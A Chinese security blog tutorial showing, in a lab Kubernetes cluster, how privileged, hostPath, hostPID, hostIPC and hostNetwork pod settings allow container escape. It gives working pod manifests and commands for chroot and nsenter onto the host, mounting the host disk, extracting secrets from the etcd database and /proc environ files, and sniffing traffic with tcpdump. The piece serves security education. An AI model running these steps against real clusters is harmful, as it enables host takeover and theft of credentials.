当前位置: 首页 > news >正文

容器安全 - 利用容器的特权配置实现对Kubernetes容器的攻击

《OpenShift / RHEL / DevSecOps 汇总目录》

文章目录

  • 准备环境
  • 利用特权配置对Kubernetes容器攻击
    • privileged + hostpath
    • privileged + hostpid
    • privileged
    • hostpath
    • hostpid
    • hostipc
    • hostnetwork
  • 参考

通过将运行 Pod 的 privileged 设为 true,容器就以特权模式运行在宿主机上。和普通容器相比,特权容器具有非常大的权限和能力。

  1. 容器被赋予所有能力
  2. 不屏蔽敏感路径,例如 sysfs 中的 kernel 模块 within
  3. Any sysfs and procfs mounts are mounted RW
  4. AppArmor 保护不生效
  5. Seccomp 限制不生效
  6. cgroup 不限制访问任何设备
  7. 所有宿主机的设备都可以在容器中访问
  8. SELinux 限制不生效

本文将演示如何利用在 Kubernetes 中容器的 privileged、hostpath、hostpid、hostipc、hostnetwork 配置实现对容器或宿主机的攻击,包括获得敏感数据、杀掉关键进程等。

  • privileged: 控制容器是否具有特权,特权容器拥有宿主机上的所有操作权限,可以访问宿主机上的所有设备。
  • hostpath: 将宿主机的指定目录挂载到容器中,这样就可以从容器中访问宿主机的指定目录。
  • hostpid:控制从容器中是否可以查看宿主机的进程信息。
  • hostipc:控制从容器中是否可以查看宿主机的 IPC 信息。
  • hostnetwork:控制容器是否直接使用并运行在宿主机的网络上。

准备环境

由于 OpenShift 缺省自带较高的安全防护,因此为了容易演示相关场景,本文没有采用 OpenShift 而使用的是 killercoda 网站的免费 Kubernetes 环境。

  1. 执行命令可以看到该环境的 Kubernetes 集群有 2 个节点。另外从提示符可以看到当前是在 controlplane 节点所在的 Linux 操作系统上。
$ kubectl get node -owide
NAME           STATUS   ROLES           AGE   VERSION   INTERNAL-IP   EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION      CONTAINER-RUNTIME
controlplane   Ready    control-plane   41d   v1.28.1   172.30.1.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12
node01         Ready    <none>          41d   v1.28.1   172.30.2.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12
  1. 为了后面的测试,我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。
$ kubectl create secret generic my-secret \--from-literal=username=myadmin \--from-literal=password='mypass'$ mkdir /test && ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var

利用特权配置对Kubernetes容器攻击

privileged + hostpath

privileged + hostpath 的配置组合使得可以在容器中直接访问到宿主机的文件系统。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

  1. 执行以下命令,创建 Pod。根据配置可知该 Pod 将运行在 controlplane 节点。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-hostpath-exec-pod
spec:containers:- name: priv-hostpath-podimage: ubuntusecurityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderootcommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane volumes:- name: noderoothostPath:path: /
EOF
  1. 在确认 Pod 运行后进入该 Pod 内部。
$ kubectl get pod priv-hostpath-exec-pod
NAME                     READY   STATUS    RESTARTS   AGE
priv-hostpath-exec-pod   1/1     Running   0          2m26s$ kubectl exec -it priv-hostpath-exec-pod -- chroot /host
  1. 确认可以从该 Pod 内部看到宿主机的 /test 目录。
# ls
bin  boot  dev  etc  home  ks  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以从该 Pod 内获取到保存在 Kubernetes 集群未加密的 ETCD 数据库中的 Secret 数据。
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
!/registry/secrets/default/my-pass
Secretmy-secret
default"
*$7eb4a277-6c36-46aa-aa12-a53ab07990d32
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged + hostpid

当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。

  1. 执行以下命令创建 Pod。根据配置可知该 Pod 将运行在 controlplane 节点,并从该 Pod 进入属于宿主机的 init system (PID 1 进程) ,从而能访问宿主机文件系统并在宿主机上执行命令。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-and-hostpid-exec-pod
spec:hostPID: truecontainers:- name: priv-and-hostpid-podimage: ubuntutty: truesecurityContext:privileged: truecommand: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]nodeName: controlplane 
EOF
  1. 确认 Pod 运行后可直接获取到保存在 Kubernetes 集群未加密的 ETCD 数据库中的 Secret 数据。
$ kubectl get pod priv-and-hostpid-exec-pod
NAME                        READY   STATUS    RESTARTS   AGE
priv-and-hostpid-exec-pod   1/1     Running   0          47s$ kubectl exec -it priv-and-hostpid-exec-pod -- strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$e4c9c62d-0cb2-4d81-ba0c-c23c0b3b9bc92
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged

当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。

  1. 执行命令运行具有特权的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: priv-exec-pod
spec:containers:- name: priv-podimage: redhat/ubi8-initsecurityContext:privileged: truecommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane
EOF
  1. 进入运行的 Pod。
$ kubectl get pod priv-exec-pod
NAME                 READY   STATUS    RESTARTS   AGE
priv-exec-pod   1/1     Running   0          66s
$ kubectl exec -it priv-exec-pod -- bash
  1. 执行命令查看分区,其中 /dev/vda1 为代表宿主机存储的设备。
[root@priv-exec-pod /]# fdisk -l
。。。
Device      Start      End  Sectors  Size Type
/dev/vda1  227328 41943006 41715679 19.9G Linux filesystem
/dev/vda14   2048    10239     8192    4M BIOS boot
/dev/vda15  10240   227327   217088  106M EFI SystemPartition table entries are not in disk order.
  1. 将 /dev/vda1 挂在到容器的 /host 目录下,确认可以看到宿主机的 test 验证目录。
[root@priv-exec-pod /]# mkdir /host
[root@priv-exec-pod /]# mount /dev/vda1 /host/
[root@priv-exec-pod /]# ls /host
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。
[root@priv-exec-pod /]# chroot /host
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$054abb91-a986-4835-91f6-7ee0bbb0c4f52
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。这样就可以执行上述大多数相同的权限升级路径。

  1. 执行命令运行具有 hostpath 特性的 Pod,它将挂载宿主机的 / 目录。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostpath-exec-pod
spec:containers:- name: hostpath-exec-podimage: ubuntuvolumeMounts:- mountPath: /hostname: noderootcommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: controlplane volumes:- name: noderoothostPath:path: /
EOF
  1. 进入 Pod 并切换到宿主机目录,确认可以看到 test 验证目录。
$ kubectl exec -it hostpath-exec-pod -- chroot /host
# ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secretmy-secret
default"
*$7cc91580-3550-4732-8f35-75125e7978002
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
# 

hostpid

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。

  1. 执行命令运行具有 hostpid 特性的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostpid-exec-pod
spec:hostPID: truecontainers:- name: hostpid-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01 
EOF
  1. 再运行另一个使用测试 Secret 的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: mypasswd-pod
spec:containers:- name: mysqlimage: busyboxcommand: ['sh', '-c', 'echo "Hello, Kubernetes!" && sleep 1000']env:- name: MY_PASSWORDvalueFrom:secretKeyRef:name: my-secretkey: passwordnodeName: node01 
EOF
  1. 确认 2 个 Pod 都在运行。
$ kubectl get pod hostpid-exec-pod mypasswd-pod -o wide
NAME                READY   STATUS    RESTARTS   AGE     IP            NODE           NOMINATED NODE   READINESS GATES
hostpid-exec-pod    1/1     Running   0          2m32s   192.168.1.3   node01         <none>           <none>
mypasswd-pod        1/1     Running   0          72s     192.168.1.4   node01         <none>           <none>
  1. 进入 hostpid 为 true 的 Pod,然后确认可以在 /proc/*/environ 中查找到 mypass 关键字和对应的内容。
$ kubectl exec -it hostpid-exec-pod -- bash
root@hostpid-exec-pod:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-exec-pod:/# cat envs.txt | grep mypass
HOSTNAME=mypasswd-pod
MY_PASSWORD=mypass

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。

  1. 执行命令运行 2 个具有 hostipc 特性的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostipc-exec-pod-1
spec:hostIPC: truecontainers:- name: hostipc-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01
---
apiVersion: v1
kind: Pod
metadata:name: hostipc-exec-pod-2
spec:hostIPC: truecontainers:- name: hostipc-podimage: ubuntucommand: [ "/bin/sh", "-c", "--" ]args: [ "while true; do sleep 30; done;" ]nodeName: node01
EOF
  1. 在 Pod 都运行后进入 hostipc-exec-pod-1。
$ kubectl get pod hostipc-exec-pod-1 hostipc-exec-pod-2 -o wide
NAME                 READY   STATUS    RESTARTS   AGE   IP            NODE     NOMINATED NODE   READINESS GATES
hostipc-exec-pod-1   1/1     Running   0          37s   192.168.1.5   node01   <none>           <none>
hostipc-exec-pod-2   1/1     Running   0          37s   192.168.1.6   node01   <none>           <none>
$ kubectl exec -it hostipc-exec-pod-1 -- bash
  1. 先进入 hostipc-exec-pod-1,将测试数据写入 IPC 共享区。
root@hostipc-exec-pod-1:/# echo "secretpassword" > /dev/shm/secretpassword.txt
  1. 再进入 hostipc-exec-pod-2,确认可以通过 IPC 共享区获取到 hostipc-exec-pod-1 写入的测试数据。
$ kubectl exec -it hostipc-exec-pod-2 -- more /dev/shm/secretpassword.txt 
secretpassword

hostnetwork

当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod IP 是宿主机 IP,而非 cni 分配的 pod IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

  1. 执行命令,创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service。强制 Pod 都运行在 Kubernetes 集群的 node01 节点上。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:name: hostnetwork-pod
spec:hostNetwork: truecontainers:- name: hostnetworkimage: nginxnodeName: node01
---
apiVersion: apps/v1
kind: Deployment
metadata:name: nginx
spec:replicas: 1selector:matchLabels:app: nginxtemplate:metadata:labels:app: nginxspec:containers:- name: nginximage: nginxnodeName: node01
---
apiVersion: v1
kind: Service
metadata:name: nginx
spec:type: NodePortports:- port: 80selector:app: nginx
EOF
  1. 查看 2 个 Pod 运行的 IP 地址,确认普通 Pod 使用的是容器网段 IP 192.168.1.5,而启用 hostnetwork 的 Pod 使用的就是 node01 宿主机节点的 IP 地址。
$ kubectl get pod -owide
NAME                     READY   STATUS    RESTARTS   AGE     IP            NODE     NOMINATED NODE   READINESS GATES
hostnetwork-pod          1/1     Running   0          31m     172.30.2.2    node01   <none>           <none>
nginx-55d65bdfb4-lmkvr   1/1     Running   0          4m33s   192.168.1.3   node01   <none>           <none>
  1. 确认普通 Pod 对应 Service 绑定的 nodeport 端口。
$ kubectl get svc nginx -ojsonpath={.spec.ports[0].nodePort}
32004
  1. 进入使用 hostnetwork 的 Pod,如果没有 tcpdump 可以安装,然后使用 tcpdump 开始嗅探到流经 32004 端口的 TCP 数据。刚开始运行还没有嗅探到数据。
$ kubectl exec -it hostnetwork-pod -- bash
root@node01:/# apt update && apt -y install tcpdump 
root@node01:/# tcpdump -s 0 -A 'tcp dst port 32004 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
  1. 在一个新的终端里使用 node01 的 IP 和 Service 绑定的 nodeport 访问运行在普通 Pod 中的 nginx,确认可以访问到页面。
$ curl -s 172.30.2.2:32329
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p><p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p>
</body>
</html>
  1. 回到第 4 步的窗口,确认在 hostnetwork-pod 中已经可以嗅探到 HTML 数据。这些数据可以是敏感的业务数据,或是未经保护的密码等数据。
15:44:04.194826 IP 10.244.4.60.40276 > 172.30.2.2.32329: Flags [P.], seq 3806426523:3806426603, ack 3523874175, win 511, options [nop,nop,TS val 2488373642 ecr 2936282096], length 80
E...p.@.<..1
..<.....T~I..u..
.............
.Q......GET / HTTP/1.1
Host: 172.30.2.2:32329
User-Agent: curl/7.68.0
Accept: */*15:44:04.195068 IP 172.30.2.2.32329 > 10.244.4.60.40276: Flags [P.], seq 1:239, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 238
E.."|.@.?.......
..<~I.T.
....u......d.....
.....Q..HTTP/1.1 200 OK
Server: nginx/1.25.2
Date: Wed, 18 Oct 2023 15:44:04 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Tue, 15 Aug 2023 17:03:04 GMT
Connection: keep-alive
ETag: "64dbafc8-267"
Accept-Ranges: bytes15:44:04.195283 IP 172.30.2.2.32329 > 10.244.4.60.40276: Flags [P.], seq 239:854, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 615
E...|.@.?..W....
..<~I.T.
.m..u............
.....Q..<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p><p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p>
</body>
</html>

参考

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html

相关文章:

容器安全 - 利用容器的特权配置实现对Kubernetes容器的攻击

《OpenShift / RHEL / DevSecOps 汇总目录》 文章目录 准备环境利用特权配置对Kubernetes容器攻击privileged hostpathprivileged hostpidprivilegedhostpathhostpidhostipchostnetwork 参考 通过将运行 Pod 的 privileged 设为 true&#xff0c;容器就以特权模式运行在宿主…...

深度剖析Android Binder IPC机制

Android系统的成功离不开其强大的IPC&#xff08;Inter-Process Communication&#xff09;机制&#xff0c;其中最引人注目的就是Binder。本文将深入探讨Binder的技术原理&#xff0c;解释其工作方式以及相关的关键概念。 什么是Binder Binder是Android系统中的IPC机制&…...

【底层服务/编程功底系列】「大数据算法体系」带你深入分析MapReduce算法 — Shuffle的执行过程

【底层服务/编程功底系列】「大数据算法体系」带你深入分析MapReduce算法 — Shuffle的执行过程 Shuffle是什么Shuffle的流程处理map任务的执行流程reduce任务的执行流程 Shuffle过程分析和优化map任务深入分析细化步骤分析1. 数据分片读取2. 分配计算Reduce服务Partitioner分区…...

CISA 彻底改变了恶意软件信息共享:网络安全的突破

在现代网络安全中&#xff0c;战术技术和程序&#xff08;TTP&#xff09;的共享对于防范网络事件至关重要。 因此&#xff0c;了解攻击向量和攻击类型之间的关联如今是让其他公司从其他公司遭受的 IT 事件中受益&#xff08;吸取经验教训&#xff09;的重要一步。 美国主要网…...

macos 12 支持机型 macOS Monterey 更新中新增的功能

macOS Monterey 能让你以全然一新的方式与他人沟通联络、共享内容和挥洒创意。尽享 FaceTime 通话新增的音频和视频增强功能&#xff0c;包括空间音频和人像模式。通过功能强大的效率类工具&#xff08;例如专注模式、快速备忘录和 Safari 浏览器中的标签页组&#xff09;完成更…...

代码随想录算法训练营第五十六天|1143.最长公共子序列、1035.不相交的线、53. 最大子序和

代码随想录算法训练营第五十六天|1143.最长公共子序列、1035.不相交的线、53. 最大子序和 1143.最长公共子序列1035.不相交的线53. 最大子序和 做了一个小时左右 1143.最长公共子序列 题目链接&#xff1a;1143.最长公共子序列 文章链接 状态&#xff1a;会做 代码 class Solu…...

01认识微服务

一、微服务架构演变 1.单体架构 将所有的功能集中在一个项目开发&#xff0c;打成一个包部署。优点架构简单&#xff0c;部署成本低。缺点耦合度高&#xff0c;不利于大型项目的开发和维护 2.分布式架构 根据业务功能对系统进行拆分&#xff0c;每个业务模块作为独立的项目…...

智能电表上的模块发热正常吗?

智能电表是一种可以远程抄表、计费、控制和管理的电力计量设备&#xff0c;它可以实现智能化、信息化和网络化的电力用电管理。智能电表的主要组成部分包括电能计量模块、通信模块、控制模块和显示模块等。其中&#xff0c;通信模块和控制模块是智能电表的核心部件&#xff0c;…...

网络代理技术的广泛应用和安全保障

随着网络世界的日益发展&#xff0c;网络代理技术作为保障隐私和增强安全的重要工具&#xff0c;其在网络安全、爬虫开发和HTTP协议中的多面应用备受关注。下面我们来深入了解Socks5代理、IP代理以及它们的作用&#xff0c;探讨它们如何促进网络安全和数据获取。 Socks5代理和…...

EasyCVR视频汇聚平台显示有视频流但无法播放是什么原因?该如何解决?

视频汇聚/视频云存储/集中存储/视频监控管理平台EasyCVR能在复杂的网络环境中&#xff0c;将分散的各类视频资源进行统一汇聚、整合、集中管理&#xff0c;实现视频资源的鉴权管理、按需调阅、全网分发、云存储、智能分析等&#xff0c;视频智能分析平台EasyCVR融合性强、开放度…...

WuThreat身份安全云-TVD每日漏洞情报-2023-10-13

漏洞名称:libcue <2.2.1 越权访问漏洞 漏洞级别:高危 漏洞编号:CVE-2023-43641,CNNVD-202310-579 相关涉及:系统-alpine_edge-libcue-*-Up to-(excluding)-2.2.1-r0- 漏洞状态:未定义 参考链接:https://tvd.wuthreat.com/#/listDetail?TVD_IDTVD-2023-25092 漏洞名称:科大…...

中文编程工具开发语言开发的实际案例:触摸屏点餐软件应用场景实例

中文编程工具开发语言开发的实际案例&#xff1a;触摸屏点餐软件应用场景实例 软件特色&#xff1a; 1、功能实用&#xff0c;操作简单&#xff0c;不会电脑也会操作&#xff0c;软件免安装&#xff0c;已内置数据库。软件在关闭的时候&#xff0c;可以设置会员数据备份到U盘&…...

138.【JUC并发编程- 03】

JUC并发编程- 03 (六)、共享模型之无锁1.问题提出(1).为什么不安全?(2).安全实现_使用锁(3).安全实现_使用CAS 2.CAS与volatile(1).CAS_原理介绍(2).CAS_Debug分析(3).volatile(4).为什么无锁效率高(5).CAS的特点 3.原子整形(1).原子整数类型_ 自增自减(2).原子整数类型_乘除模…...

React Hooks批量更新问题

React 版本17.0.2 import React, { useState } from react;const Demo () > {const [count, setCount] useState(0);const [count1, setCount1] useState(0);const [count2, setCount2] useState(0);console.log(Demo);const add async () > {await 10;setCount(c…...

竞赛 深度学习YOLO抽烟行为检测 - python opencv

文章目录 1 前言1 课题背景2 实现效果3 Yolov5算法3.1 简介3.2 相关技术 4 数据集处理及实验5 部分核心代码6 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习YOLO抽烟行为检测 该项目较为新颖&#xff0c;适合作为竞赛课…...

cAdvisor监控Docker容器做性能测试

cAdvisor监控Docker容器做性能测试 缘起 当前有个服务做技术选型&#xff0c;服务要求比较高的性能&#xff0c;要做性能测试。部署的环境是容器话部署&#xff0c;但申请新的容器流程较长&#xff0c;于是我打算在流程走完之前简单评估下性能&#xff0c;来确定技术选型是否…...

记一次EDU证书站

如果文章对你有帮助&#xff0c;欢迎关注、点赞、收藏一键三连支持以下哦&#xff01; 想要一起交流学习的小伙伴可以加zkaq222&#xff08;备注CSDN&#xff0c;不备注通不过哦&#xff09;进入学习&#xff0c;共同学习进步 目录 目录 1.前言&#xff1a; 2.信息搜集 3.漏…...

React高频面试题100+题,这一篇就够了!

1 - 5 题详解传送门>>>>>>>>>>>> 1. 如何在代码中判断一个 React 组件是 class component 还是 function component&#xff1f; 2. useRef / ref / forwardsRef 的区别是什么? 3. useRef和useState区别&#xff1f; 4. useEffect 的…...

mysql MVC jsp实现表分页

mysql是轻量级数据库 在三层架构中实现简单的分页 在数据库sql编程中需要编写sql语句 SELECT * FROM sys.student limit 5,5; limit x,y x是开始节点&#xff0c;y是开始节点后的需要显示的长度。 在jdbc编程中需要给出x和y 一般是页数*页码&#xff0c;显示的长度。 代…...

【微信小程序】数字化会议OA系统之首页搭建(附源码)

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《微信小程序开发实战》。&#x1f3af;&#x1f3a…...

测试微信模版消息推送

进入“开发接口管理”--“公众平台测试账号”&#xff0c;无需申请公众账号、可在测试账号中体验并测试微信公众平台所有高级接口。 获取access_token: 自定义模版消息&#xff1a; 关注测试号&#xff1a;扫二维码关注测试号。 发送模版消息&#xff1a; import requests da…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

Golang dig框架与GraphQL的完美结合

将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用&#xff0c;可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器&#xff0c;能够帮助开发者更好地管理复杂的依赖关系&#xff0c;而 GraphQL 则是一种用于 API 的查询语言&#xff0c;能够提…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

(二)原型模式

原型的功能是将一个已经存在的对象作为源目标,其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现,忽略对象创建过程中的其它细节。 📌 核心特点: 避免重复初…...

企业如何增强终端安全?

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...

Linux 内存管理实战精讲:核心原理与面试常考点全解析

Linux 内存管理实战精讲&#xff1a;核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用&#xff0c;还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...

JavaScript基础-API 和 Web API

在学习JavaScript的过程中&#xff0c;理解API&#xff08;应用程序接口&#xff09;和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能&#xff0c;使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...

纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join

纯 Java 项目&#xff08;非 SpringBoot&#xff09;集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...